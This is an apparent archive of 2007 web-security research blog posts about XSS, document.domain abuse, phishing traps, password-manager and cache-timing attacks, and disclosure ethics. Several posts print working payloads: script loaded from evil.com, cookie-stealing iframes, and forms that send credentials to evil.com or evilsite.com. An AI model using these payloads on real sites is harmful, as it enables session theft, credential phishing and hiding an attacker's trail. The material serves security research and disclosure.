To explain why this is meaningful, I'll first give a quick primer on the document.domain property:

The document.domain is by default set to the hostname which is used to access a site.

The document.domain property is not read-only. It can be truncated by however many levels you like, so a site on sub2.sub1.domain.tld could set the document.domain property to sub1.domain.tld or domain.tld or just tld[1]

To determine whether javascript is able to interact with another window the property is compared, if the property is identical then the two windows can communicate.

Finaly, there is an additional check whereby if the document.domain property has not been modified then a page where the property has been modified cannot communicate with it.

Firefox and IE do have this check, but it seems a bit more relaxed. If the upper level domain reads the document.location property this check is seemingly ignored.

Now, one might be tempted to shrug this off, but many tracking scripts, and Google Analytics tracking code references the document.location property, and so any site which runs the Google Analytics code is vulnerable to having lower level domains communicate with the unwittingly.

[1] The Firefox 3 nightly build does not allow anyone to set the property to tld, as per two patches from trev/Wladimir Palant: http://sla.ckers.org/forum/read.php?13,10863

This isn't the post your looking for either

2007-04-27T17:18:00.000+10:00

A few days ago prdelka post a blog post entitled "This isnt the post your looking for", you should read it, preferably before reading ny more of this post. He also deleted all his other blog postings, and removed all the papers and exploits, etc, which he had written from his server.

For a while security people have been saying that such legislation would be a bad idea because they, as well as anyone possibly malicious, could be prosecuted, but the law understands mitigating factors, and I doubt such a thing would happen.

What I am more interested in, is how many of the hobbyists which do a considerable part of the research into computer security will be affected. Will they, like prdelka, decide to take the cautious route, and remove all their writings, etc, from public view. Will they be driven more or less underground, where information is only shared among close friends, until it spreads to the hands of criminals, without surfacing to help IT security people. Or will they decide to ignore the laws will continue - only time will tell obviously, but does everyone think?

And if you're in Britain, how will this affect you?

Untraceable XSS Attacks Version 2

2007-04-01T14:15:00.000+10:00

I was thinking about the Adobe PDF UXSS issue that we encountered a few months ago, and remembered how much of a problem we had solving it because servers were not sent the URL fragments (the part after the #).

Now this got me thinking; the client can still read the portion of the URL after the # symbol.

So why not put the location of our logic after the URL fragment like so:

<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>var source_loc = substr (document.location.lastIndexOf("#") + 1); var s = document.createElement ('script'); s.src=source_loc; document.body.appendChild(s);</script>#http://www.evil.com/s.js">
</head>
</html>

And then you just shove that in a iframe, or popup or whatever other technique you are using to make sure users don't notice they're being attacked, and you're done.

Looking at the actual exploit, you can see that what we end up doing is using a Reflected XSS hole to create a DOM Based XSS hole which is specifically untraceable.

And it seems like a much cleaner method than the last two posts to me.

(Non-Persistent) Untraceable XSS Attacks (IE & Opera version)

2007-03-30T17:12:00.000+10:00

[EDIT]: Due to something I misunderstood ages ago this post is completely useless, so please see: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks.html Which has been re-written.

Sadly I have an appalling habit of assuming that the way Firefox does things is the way other browsers do things when it comes to Javascript, and I am constantly missing things because of it.

Anyway; what I only just remembered is that IE and opera treat target.com and target.com. as separate domains, and even if we can interact with target.com. this is almost completely useless to us.

But the goal here is not to allow our domain to talk to another domain. Our goal here is to not have to send our attack logic to the vulnerable web app, where it will be logged by the server.

We can use the same basic concept as in the last post, but instead of having go.php redirect to something which calls our logic from the parent, we will need it to look more like this: (Copy and paste it into notepad because it goes off the side of the page)

<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>document.location = 'http://www.target.com./page.php?vuln=%3Cscript%3Edocument.domain%3D%27com.%27%3Bwindow.parent.logic%28%29%3B%3C/script%3E&cookie='+escape(document.cookie);</script>">
</head>
</html>

And then our attack page would have to look something more like this:

<html>
<body>
<script>
document.domain = 'com.';
function logic () {
    var loc = window.frames[0].document.location;
    var cookie = substr (loc.lastIndexOf("=") + 1);
    alert(cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>

I have not tested this, but it should be possible to simply extract the cookie from the domain as demonstrated above, then set the same cookie for target.com. but you will run into issues if there are authentication cookies for a subdomain, which you cannot extract, but for most scenarios this should still be workable.

(Non-Persistent) Untraceable XSS Attacks

2007-03-30T10:12:00.000+10:00

[EDIT]: Sorry for taking so long to do this, but I've been really busy lately. Anyway, when doing my initial testing with document.domain stuff Firefox threw some errors when I tried to set the domain to just 'com' - I'm not sure why since this is allowed, and as such this post was needlessly confusing (since I thought you could only set it to 'com.'), and so I've rewritten it (keeping most of it intact), the old copy is still at the end, but its not really worth reading since its pretty much the same thing.

When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.

Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.

But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.

It turns out you can set the document.domain property to just 'com' if you have a .com domain.

Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.

The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.

And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.

The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:

attack.php :

<html>
<body>
<script>
document.domain = 'com';
function logic () {
    alert(window.frames[0].document.cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>

go.php :

<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>document.domain='com';window.parent.logic();</script>">
</head>
</html>

Old Post:

When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.

Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.

But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.

As trev found out, it is possible for a site in the .com TLD to set their document.domain value to '.com.', and this allows it to share details with any site which also sets its document.domain value to '.com.'.

Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.

The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.

And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.

The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:

attack.php :

<html>
<body>
<script>
document.domain = 'com.';
function logic () {
    alert(window.frames[0].document.cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>

go.php :

<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com./page.php?vuln=<script>document.domain='com.';window.parent.logic();</script>">
</head>
</html>

In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com. and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.

Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.

Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server, then they could easily conduct attacks similar to the one against MySpace described in trev's post.

[EDIT]: Sorry guys; false alarm. This doesn't fully work against IE and Opera because they treat target.com and target.com. as separate domains,and so store cookies separately. I have figured out a way to overcome this, which I've posted here: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks_30.html so that anyone who has already seen this post will hopefully notice the second one.

Partially stopping sites breaking out of frames in Mozilla

2007-03-26T17:43:00.000+10:00

I've been looking for ways to stop sites breaking out of frames for a long time now, and haven't been able to find anything.

And I still haven't been able to get anything working the way I'd like it to, but since I don't have much time these days I thought I'd throw this out there to see if anyone could figure something out. What I'm trying here is to be able to execute XSS attacks within iframes against sites which break out of iframes at the top of each page, but sadly I'm having almost no real success.

Using the idea that I used to implement this; http://kuza55.blogspot.com/2007/03/trapping-mozilla-for-phishing.html, it is possible to stop site breaking out of frames.

Using the following code:

<html>
<body>
<script>
function test(e) {
    window.setTimeout ("stop();", 1);

}

window.onbeforeunload = test;

</script>
<iframe src="http://hackthissite.org/" />
</body>
</html>

But while it is possible to stop http://hackthissite.org from breaking out of an iframe, the moment we call the stop(); function, the iframe also stops loading. So any XSS attacks after the frame breaking code will not be executed.

So as you can see I haven't been able to figure anything out which will stop the top window being changed, but not stop the iframe being loaded. Hopefully someone else will have more luck.

Trapping Mozilla For Phishing

2007-03-20T19:00:00.000+11:00

I was looking at the onbeforeunload event handler today in the hopes of finding a way to attack/implement Martin Johns' paper SessionSafe: Implementing XSS Immune Session Handling (there's also some discussion about the paper here: http://sla.ckers.org/forum/read.php?13,7607), and while I didn't find anything useful there, I did find a way to entrap, and therefore conduct phishing attacks against more aware Mozilla users.

Before delving into an explanation, here's the code which I'll explain:

<html>
<body>
<script>
function test(e) {
 window.setTimeout ("stop();", 1);
 window.setTimeout ("var test = document.getElementById ('test'); test.style.display = 'block';var test2 = document.getElementById ('test2'); test2.style.display = 'none';", 1);
}

window.onbeforeunload = test;

</script>
<div id="test2">Please go to bankofamerica.com</div>
<div style="display:none;" id="test">Please Enter your Login Details here:
<form action="http://evilsite.com/">
Username: <input name="username">
Password: <input type="password" name="password">
</form></div>
</body>
</html>

Anyway; when using the onbeforeunload event handler it is still possible to access the window object, and therefore still possible to set time-outs.

In our time-outs, we can call the stop() function. When the stop(); function is called the location bar is not reset, and therefore will display the URL the user entered.

The next thing we would like to do would be to add some data to the page which makes it look like a phishing site. Sadly (or Luckily depending on your view point), when you call the document.write() function, the location bar is reset, and therefore we must use the DOM to make the existing page disappear, and add our new page.

Simple Enough.

One thing you should note though, is that there is a bug in Firefox where, if you enter, say, google, then press Ctrl+Enter, then go to another tab, and then return, the address bar will read "google" rather than "http://www.google.com/", but its not a very likely scenario, so should not be much cause for concern. And furthermore it is (to my knowledge) impossible to find out where the user is going, so I do not think there are many uses other than a phishing page like the example provided.

You also cannot force the user to programmatically go to a page, and stop that and have the URL changed. the URL is changed programmatically only when the browser successfully loads the page.

Oh, and AFAIK a slightly similar (in terms of effect, not implementation) vuln in IE is still unpatched: http://lcamtuf.coredump.cx/ietrap/

P.S. This was tested on Firefox 2.0.0.2

stopgetpass.user.js - an interim solution

2007-02-26T17:47:00.000+11:00

A couple of days ago I posted a method of breaking the RSCR Fix Mozilla implemented in Firefox. Today, I want to post an interim fix for the issue in the form of a Greasemonkey script:

for (i=0,c=document.forms.length;i<c;i++) {
    if (document.forms[i].method == 'get') {
        var password = false;
        for (l=0,k=document.forms[i].elements.length;l<k;l++) {
            if (document.forms[i].elements[l].type == 'password') {
                password = true;
            }
        }
        if (password == true) {
            document.forms[i].method = "post"
        }
    }
}

Essentially it just loops through all the forms on a page and sets the method on all forms with password fields to post. So while this will stop you from the attack I described, it will most likely break sites, so once a patch comes out of Mozilla (which I honestly hope it will, because otherwise all their efforts on the previous patch will be in vain), this will need to be removed.

Also, since this script is extracting method and type values from the DOM, it doesn't have to worry about case, obfuscation, etc, so it should not be vulnerable to any obfuscation of either the type or the method properties.

I'm sure you all know how to install Greasemonkey scripts,so I'm not going to bother explaining how to here, because for those who don't there's always Google.

P.S. 50th Post! Hurray, I've managed to actually stay interested in something for an extended period of time. I'm sure that some of the posts were completely disinteresting to people, but I hope that some of them weren't.

More Authenticated Redirect Abuse

2007-02-26T11:19:00.000+11:00

A while ago I wrote two posts entitled Detecting Logged In Users and More Logged In User Detection via Authenticated Redirects.

Today I want to expand a bit more on how Authenticated redirects can be abused.

I want to talk about how you can abuse authenticated redirects which only redirect to certain domains (i.e. not yours), and not get stopped by extensions such as SafeHistory and SafeCache.

If we can redirect to any resource on a server it is quite reasonable to assume that we can redirect to either an image or a piece of javascript.

First of all, lets say our redirection script that exists on http://target.com/redir.php looks like this: (Ignore the fact that if it was an old version of PHP it would be vulnerable to response splitting, and the fact that parse_url doesn't validate URLs);

<?php

session_start();

if ($_SESSION['logged_in'] == true) {
    if ( is_string($_GET['r']) ) {
        $url_array = parse_url ($_GET['r']);
        if ($url_array['host'] == $_SERVER['SERVER_NAME']) {
            header ("Location: " . $_GET['r']);
            die();
        }
    }
}

header ("Location: http://" . $_SERVER['SERVER_NAME'] . "/index.php");

?>

Knowing that we can redirect to any resource on the server we can create something like the following:

<html>
<body>
<img src="http://target.com/redir.php?r=http://target.com/images/logo.png" onload="alert('logged in');" onerror="alert('not logged in');" />
</body>
</html>

We could also redirect to javascript objects and overwrite the functions it calls,so that we know when it executes, but that's a whole lot more work.

Also, one other thing I failed to mention in either of the two previous posts, is that the technique I described in them can be used in any situation where something is loaded into the history, which includes iframes, popups, etc - but they are of course much less common.

Fixing IE Content-Type Detection Issues: Output Filtering Instead Of Input Validation

2007-02-24T21:02:00.000+11:00

[EDIT](25/02/07): It seems that this method doesn't completely work, so please read the comments to find more info, because otherwise this isn't going to do you any good.

There's been a bit of discussion over a sla.ckers.org about injecting Javascript into uploaded image files, and having IE detect the content type as text/html rather than the content-type sent by the server. For anyone who isn't familiar with the issue I recommend you read the following post: http://www.splitbrain.org/blog/2007-02/12-internet_explorer_facilitates_cross_site_scripting Not because its the first mention of it, but its the best and most technical description I've seen.

Anyway; to take a leaf out of Sylvan von Stuppe's book, I'd like to recommend a way to do (the equivalent of) output filtering, rather than input validation to stop this issue.

First of all, lets take a look at why we would ever do input validation to stop XSS attacks. The only reason we have ever had to do input validation is to stop people inputting Javascript, but allowing them to input html.

In all other situations where we don't need to allow certain html, we can simply encode all output in the appropriate char set, and we're safe.

And there is no reason we would ever need to allow users to upload images which get interpreted as html files, and therefore served as such.

So, having established (at least in my view), that output filtering is the way to go; how would we go about doing this without altering the image?

Well, in this case its easy enough; all we need to do is use a header that IE does respect; the Content-Disposition header. And possibly also a Content-Type header of application/octet-stream or we may not, depending on how paranoid we are, and how much we want to (possibly) break things.

There are several way to do this.

On Apache, the best solution is to use mod_headers to send the header for all files in a particular directory, and move all your uploads there.

Microsoft provides an explanation of how you can achieve the same on IIS here: http://support.microsoft.com/kb/q260519/

You can of course, also set PHP or any other server side language as the handler for all the files in a directory, and then use the header() (or similar) function to send the Content-Disposition header tot he browser.

Of course, this might be annoying if a user does something like right click on an image and click view image, but this is a minor inconvenience IMO.

Breaking Firefox's RCSR Fix

2007-02-24T16:26:00.000+11:00

In Firefox 2.0.0.2, the developers have done a lot of good in regards to helping prevent XSS and other attacks against the client; you can read the whole advisory here: http://www.mozilla.org/security/announce/2007/mfsa2007-02.html

And while their fix for the RCSR issue is good, its not perfect.

As everyone (including people commenting on mozilla's bug tracker) noticed, there is no real way to prevent this if an attacker can execute Javascript on the domain, because he can simply inject an iframe which has an src attribute set to the page which the user normally logs in on, and then simply change its contents to get the password.

Anyway; this fix attempts to solve the issue of an attacker being able to abuse the password manager if the attacker can inject html, but not Javascript. And so, that is the constraints within which we need to break the fix.

Lets assume we have a html injection issue in a page called http://site.com/vuln.php in the GET parameter search; i.e. http://site.com/vuln.php?search=<img src=http://evil.com/image.jpg> would inject an image into the page.

What we can then do is inject a form into the page which looks like this:

<form action="http://site.com/vuln.php" method="get">
    <input type="text" name="username" />
    <input type="password" name="password" />
    <input type="hidden" name="search" value="<img src='http://evil.com/log.php' />" />
    <input type="submit" value="Login" />
</form>

Then if we get the user to submit the form, then the referers sent to http://evil.com/log.php will have the username and password in them.

Of course, our form would have to have an input field which is an image which is transparent but covers the whole browser window, which would submit the form for us, or similar so that the form is submitted but that issue has already been solved, and I wanted to keep the example clean.

On Disclosure

2007-02-24T11:27:00.000+11:00

Firstly, just so that you understand my bias, my view on this topic is as follows:

I don't care how unethical disclosure is; if it interests me, and possibly others I'll post it.

I have no responsibility to give a vendor who has written insecure software time to fix their flaws - they've had time ever since they started writing it.

I also have no responsibility to contact them about any issues either.

I have no need to justify my position to anyone, and it won't change unless I get paid for it to change.

Anyway; Sid wrote a post on blogs.securiteam.com about how an ISP had backdoored its customers routers to make administration easier, entitled Accidental backdoor by ISP, which generated a bit of heat from some people, especially Cd-MaN.

He goes on about how Sid's post was unethical because didn't help anyone by mentioning which ISP it was, and saying which subnet they owned and what the passwords were, other than people who would want to attack the ISP.

Now, arguing on in cd-man's terms, there are people it helps. It helps anyone who wants to do some further investigation of the issue. It helps anyone who has an account with that ISP to secure themselves; I see no reason why it has to be disclosed in such a way that it would reach the majority of affected users, its not our responsibility to fix other people's mistakes; and never should be.

It also helps raise awareness of an issue which hasn't got much (if any) air time before. Because if you read any of the SpeedTouch manuals you will notice that they have a default remote administrator account, which most users never know about. Furthermore I'm willing to bet on the fact that most ISPs who use SpeedTouch routers will all have the same remote admin passwords.

And it really doesn't help anyone to say thing like (http://hype-free.blogspot.com/2007/02/full-disclosure-gone-bad.html)

But this recent post on security team screams of the "I'm 1337, I can use nmap, I rooted 14716 computers" sentiment.

Because all it does is spread the FUD. If cd-man had bothered reading the post carefully he would have noticed that all I did was run an nmap scan to determine how many of the hosts were running telnet in that subnet. I think the number is higher than 14716 though, because my wireless network is dodgy and prone to giving out halfway through something, and considering that that scan took hours (unattended), I wouldn't be surprised if it had missed whole chunks.

Oh and he also says:

How does disclosing this flaw with such detail (like subnet addresses and the ISP name) help anyone? The story would have been just as interesting would he left those details out.

I have no real argument her, but I see nothing interesting in someone posting that some ISP somewhere has used the same remote admin password on all its routers. But that's not exactly something we can argue about, since that's just like arguing which tv show is better.

Gotcha!: A PHP Oddity (with contrived security implications)

2007-02-20T14:28:00.000+11:00

A while ago, I was look over some code a friend of mine (who doesn't write much PHP) had written, which 'worked', but really shouldn't have.

It looked something like this:

if (strpos ($string, "needle") == "needle") {
    print "Is Valid";
}

And if you know PHP, you'll know that strpos always returns an integer or Boolean false (i.e. it should never return a string), so how the hell could this work?

Well, skipping my usual anecdote; it turns out that PHP casts string to integers when doing comparisons between strings and integers (not the other way around as I would have expected), and so "needle" got cast to an integer, and it was equal to 0. (And since strpos was returning 0 the above code worked).

<Edit> (21/02/07): I realise that there should never be a double dollar vulnerability anywhere in your code, but mistakes are made, this is just what I thought was a curiosity which would interest people; clearly I was wrong. Also, while this uses a double dollar vuln, it is the only way I could come up with to get a string to be compared to an integer (rather than a decimal string) you control.
</Edit>

Now, for the very contrived security issue:

<?php

$authenticated = 0;
session_start();

if (isset($_SESSION['password'])) {
    if ($_SESSION['password'] == "password removed from backup") {
        $authenticated = 1;
    }
} elseif (isset ($_GET['password'])) {
    if ($$_GET['password'] == "password removed from backup") {
        $authenticated = 1;
    }
}

if ($authenticated == 1) {
    print "You Win!";
} else {
    print "You Fail!";
}

?>

You'll see the code above has a double dollar vulnerability; which would be unexploitable in this scenario because the password string is not stored in a variable; but rather is hard coded. But since; at this point, the variable $authenticated is equal to zero, we can have $_GET['password'] equal to "authenticated", and $$_GET['password'] is equal to zero, and the comparison works.

Note: The double dollar vuln is needed rather than just passing 0 to a normal comparison because all variables sent through http are strings.

Note2: It doesn't matter in what order the arguments are typed in the comparison, i.e. the following would also be vulnerable:
if ("password removed from backup" == $$_GET['password']) {

You call that a game? This is a......

2007-02-19T18:58:00.000+11:00

Firstly; sorry for the lack of updates, I've really been too busy to come up with anything interesting to write, and haven't found anything particularly interesting to write about.

Now, onto the bad title. I found the following "game" on digg: http://crackquest.ultramuffin.com/index.php and decided to see exactly how effective the sha-1 rainbowtables I had found were.

Now, the first thing I tried was using http://www.shalookup.com/ since you can crack up to 50 hashes at a time (50 because that is the limit per IP). So I ran the list of hashes against shalookup.com (using a proxy for the second 50) and got quite good results; I think that at least 50 (I wasn't counting) of the hashes I cracked came from shalookup.com.

After this I ran the remaining hashes against http://www.hashreverse.com/ and http://md5.rednoize.com/ and was able to crack a further 20 hashes.

I tried running the remaining 30 against http://www.md5encryption.com/, but got no results (which doesn't really say anything since the only ones left were the ones no-one else could get), and I got interrupted while running the hashes against http://hashcrack.905tech.com/cracker.php, which during the time I was away went down, and I don't have an account on http://rainbowcrack.com/ (if anyone does, I'd really appreciate it if you got in contact with me), and http://passcrack.spb.ru/ seems to be down for maintenance.

So while this little anecdote can't testify to the usefulness of any single site (other than shalookup.com), it clearly illustrates that it doesn't matter what hashing algorithm you use if you do not salt the data first, and your users use poor passwords. But we already knew that, so *shrug*.

Attacking Aspect Security's PDF UXSS Filter

2007-02-13T22:05:00.000+11:00

While this is not really much of an issue any more because Adobe have released and update and there isn't really much to say, I'd like to revisit it for a momment.

There were a lot of people (myself included) who had considered the PDF UXSS issue unsolvable at the server-side level; how wrong we were: http://www.owasp.org/index.php/PDF_Attack_Filter_for_Java_EE

I have no real analysis of it because, as far as I can tell, its bullet proof. or at least it would be if browser security didn't have fist-size holes in it. From a black box perspective where there is no information leakage; that fix is great.

But sadly, there are ways to simply obtain the data. Using an Anti-DNS Pinning attack, it should not be a problem to simply send a request to that IP with the appropriate Host header, etc, and then parse out the link and simply redirect the user. I'm not going to bother providing any code, because there's really nothing new here, just another misfortune.

So a very good idea, is practically useless, simply because the rest of our security model is shot to bits.

A Better Web Cache Timing Attack

2007-02-13T19:57:00.000+11:00

I've been thinking on whether I should bother writing an actual paper on this or not, but when I found that Princeton had already written a pretty decent paper on Web Cache timing attacks back in 2000, which you can find here: http://www.cs.princeton.edu/sip/pub/webtiming.pdf I decided against it.

If you read the paper you will see that the attack relies on the user of two images to determine if the images are cached by determining if there is a dramatic change in loading times between getting the timing for one image, then loading a page which caches both images, and then getting the timing for the second image. If there is a significant difference, then then the first image had not been cached, and they had therefore not visited the page; whereas if there was no significant difference then the image was already cached, and therefore the page had been viewed before.

Now, this suffers from the fact that you do actually need two images which are ONLY displayed together, because otherwise your results will be erroneous, and not only that; but it requires that the images are approximately the same size so that your inferences about cache state are accurate.

A much better solution is to be able to determine the time it takes to retrieve a cached and non-cached version of an image by supplying request parameters, e.g. http://www.example.com/image?test=123456

The first thing we do is generate a random request string, and make a request for that image, and we now have the approximate time it should take to get the image when it is not cached, and we then make a second request to see how long the image takes to load when it is cached, and by generating a large amount of query strings to test we can get more accurate amounts.

We then make a request for the image without any request parameters and see which averaged value it is closer to, and then determine cache state.

This benefits from the fact that not only does there only need to be one image, and we can therefore find a page with a large photo or similar to give us a greater margin for error, but we also do not need to find a page with two images of equal size because we will always be making requests for the same size image.

Sadly not quite as effective as the attack against the SafeCache extension, but that's why its a timing attack I guess, :)

Attacking the SafeCache Firefox Extension

2007-02-10T22:31:00.000+11:00

Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using the domain for his blog, so I'm moving all my content here:

The SafeCache extension is yet another good idea in browser security to come out of Stanford University. Essentially it extends the browser same origin policy to the browser cache to defend against cache timing attacks. You can find more info about it here: http://www.safecache.com/

Now while I have not looked at the source code to the extension, I have devised a method for not only being able to perform timing attacks, but to be able to directly determine whether or not the objects you are trying to find info about are in the cache or not.

It seems that if you create an iframe element where the src attribute points to the resource whose cache state you want to query, then the onload event will fire only if the item is not in any cache.

To test this either login to Gmail, or go to http://mail.google.com/mail/help/images/logo.gif and then create a page like the following:

<html>
<body>
<script>
function loaded() {
var time = new Date();
var t2 = time.getTime();
alert(t2- t1);
}
var time = new Date();
var t1 = time.getTime();
</script>
<iframe src="http://mail.google.com/mail/help/images/logo.gif" onload="loaded()">
</iframe>
</body>
</html>

And you will notice that the onload element does not fire. Then if you press Ctrl+Shift+Del and delete the cache, then visit the html page you just created again, the onload event will fire.

If you refresh the page, the onload event will not fire a second time because the image is already in the cache.

So while it stops standard cache timing attacks, it does not stop attacks against itself.

Anatomy of a Worm by Kyran

2007-02-10T21:37:00.000+11:00

From http://kyran.wordpress.com/2007/02/10/paper-anatomy-of-a-worm/:

It’s about the worm I wrote targeting GaiaOnline.com, aptly named ”gaiaworm”. This is the third version of the worm and the first time I’ve ever really written a paper.

Its an interesting paper that details what he has coined a "Pseudo-Reflective" Worm, in that while it uses a reflected XSS vector, it uses a persistent on(in?)-site spreading mechanism - in this case the PM system.

Solving Password Brute Force And Lockout Issues

2007-02-10T19:18:00.000+11:00

Locking users out of sites by exhausting a limited number of login attempts has always been a pet peeve of mine (not only because you can sometimes forget which particular password you used; but also because it becomes quite easy to perform a DoS attack against someone's account simply by locking them out via failed login attempts) that I thought most websites had done away with, not so Sudo Labs it seems. Now, I'm not about to take responsibility for this since it isn't our code base, and we didn't even think that it would be set up this way, but when I was talking to Kyran I found out that (much to our chagrin), he had gotten locked out.

Which got me thinking; why can't we have an over-ride code to allow people to login even when their account is being attacked. As I see it there's no reason we can't, we can even re-use existing code to achieve it.

These days when you want to sign up for most sites you get sent an email with an activation code/link which you have to use so that your account is activated, and we know you own the account.

Now, if we were to use the current lockout system, but give users an option to request a special login code, we would be able to leave the normal functionality working most of the time (except for when the user's account is being DoS-ed), but when they are being attacked they would not be locked out because they can easily just request a login code, and use it to bypass the lockout. Of course, this cannot be used by email vendors, who are already the crux of most of our identification, so its not much of an extra burden.

Bookmarklets are NOT secure

2007-02-10T17:04:00.000+11:00

Jungsonn wrote a post entitled "Defeating Phishers" where he wrote about how one could distribute risk across two servers, and essentially have one site where XSS vulnerabilities are unimportant, and one which would need to be audited heavily. He also recommended using Bookmarklets because "Bookmarklets are actually pretty secure things, no software or website can access them.".

Personally I disagree with both those statements. Firstly, if you find an XSS hole in the main domain, you can easily make the page say that they've changed their practices, sure it would be a little odd, but the amount of user education required for this attack to be impractical would be enough to solve the whole phishing issue, not just this one.

But more importantly I want to debunk the myth that Bookmarklets are secure. Leaving aside the fact that trojans and similar can easily alter them because they have access to the file system, they are still insecure; they are as insecure as the page they are clicked on is untrustworthy.

For example, lets take the Bookmarklet Jungsonn posted:

javascript:QX=document.getSelection();if(!QX){void(QX=prompt('Type your firstname',''))};if(QX)document.location='https://myonlinebank.com'

It would seem fairly secure, except for the fact that with the very allowing Javascript engines, we can stop this from working, here's how:

<script>
 function changeHandler(x, y, z) {
  if (z == 'https://myonlinebank.com') {
   return 'https://myonlinebank.com.us';
  } else {
   return z;
  }
 }

 document.watch('location', changeHandler);
</script>

If the bookmarklet is clicked on a page with that on it - say a phishing page at http://myonlinebank.com.us or a legitimate page on the http://onlinebank.com domain if it has an XSS hole in it, then we can easily send the user to a phishing page, even though the value is hard coded in the bookmarklet.

Of course, the bookmarklet can try to detect and remove such things, but its a technological battle that will be fought on a bookmarklet by bookmarklet basis; which is essentially where security generally fails - custom code. Of course the other scenario is that we find a secure method of redirecting users, but even if we do, we're not going to be able to get everyone to use it; so I'd rather not recommend bookmarklets as security; just tell users to create a simple bookmark to the site.

Or we could try to educate users to only click on the bookmarklet from a blank page, but thats another area where security generally fails - user education.

XSSed.com - XSS Archive w/ Mirror

2007-02-09T21:18:00.000+11:00

One thing that I've thought web app sec was missing that network sec had was a defacement/attack archive w/ mirror, especially after Acunetix decided to pretend that the flaws that had been found and posted on sla.ckers.org had never existed, something like Zone-h, but for XSS exploits.

Well, today I found a site called XSSed.com which contains an XSS attack archive, with a mirror, which greatly resembles zone-h, but that can only be good since no-one has to figure out a new interface.

Personally I think we should give them our support, because without any way to verify vulnerability claims vendors will still be able to sweep things under the rug, and lie their way though everything. And an unbiased 3rd party is probably a great way to do so.

This Week in Sec

2007-02-04T22:04:00.000+11:00

Excuse the bad pun of a title, but I couldn't come up with anything better. Anyway, as with my last posting of links, its not exactly a week, its probably closer to "the interesting links I've found since I lasted posted a post of links". So here goes:

.aware alpha zine
The people over at awarenetwork.org have released an ezine, it has nothing to do with web apps, but its still quite good. To quote the front page:

Hello and welcome to the first .aware eZine ever to exist on planet
earth. Basically, with all the h0no wannabes out there and phrack down,
I thought there ought to be a little bit more actual infotainment spread
into cyperspace. This way, maybe not all of us will be driven into
criminal insanity by paranoid hallucinations.

Enjoy the zine.

PS: We're sorry for causing all that cancer.

CAPTCHA Recognition via Averaging

This article describes how certain types of captchas (such as the ones used by a German online-banking site) can be automatically recognized using software. The attack does not recognize one particular captcha itself but exploits a design error allowing to average multiple captchas containing the same information.

This was submitted to bugtraq, and soyou can find the bit of discussion that went on about that here: http://seclists.org/bugtraq/2007/Jan/0648.html (Note; this isn't just the single post, there are replies) and because it got separated between the two months, here: http://seclists.org/bugtraq/2007/Feb/0000.html

Vista Speech Command Exposes Remote Exploit
Essentially some people found out that Vista doesn't try and do any cancelation of the audio which comes from the speakers to the microphone, and so any commands your computer plays through the speakers will be picked up, and if you have the voice commands activated, will execute.

I didn't break it!
Matt Blaze posted a very good entry about how (crypto) researchers are often described as having cracked codes, and how this taints research. I think this also applies to security research just as much, except for the fact that generally most people say security researchers "broke" something rather than they "cracked" something. He also has another interesting post entitled James Randi owes me a million dollars which I think people should also read.

And in case you somehow managed to miss it:
Sudo Labs is up!
Sudo Labs is an attempt to create an R&D oriented forum where people can come to discuss any ideas they have about security in an environment which focuses on new ideas and techniques, etc rather than explaining old thoughts. Having said that those who aren't experts are also welcomed, just asked to contribute rather than to clog the board with questions about known topics, there are many other boards which will teach you about security.

So that about wraps it up for interesting things I've found over the past week in regards to security, hopefully next time I'll have a better title, but I somehow doubt it.

Samy Sued and Sentanced

2007-02-03T09:37:00.000+11:00

Well, today we've found out that the creater of the MySpace Samy worm has been sued by MySpace and sentanced: http://www.scmagazine.com.au/news/45262,myspace-superworm-creator-sentenced-to-probation-community-service.aspx

I'm honestly lost for words, that comes as quite a shock to me.

Now clearly he has done something wrong (and now it seems - illegal), but I don't think anyone expected this. Especially considering that while it did spread, it was completely non-malicious.

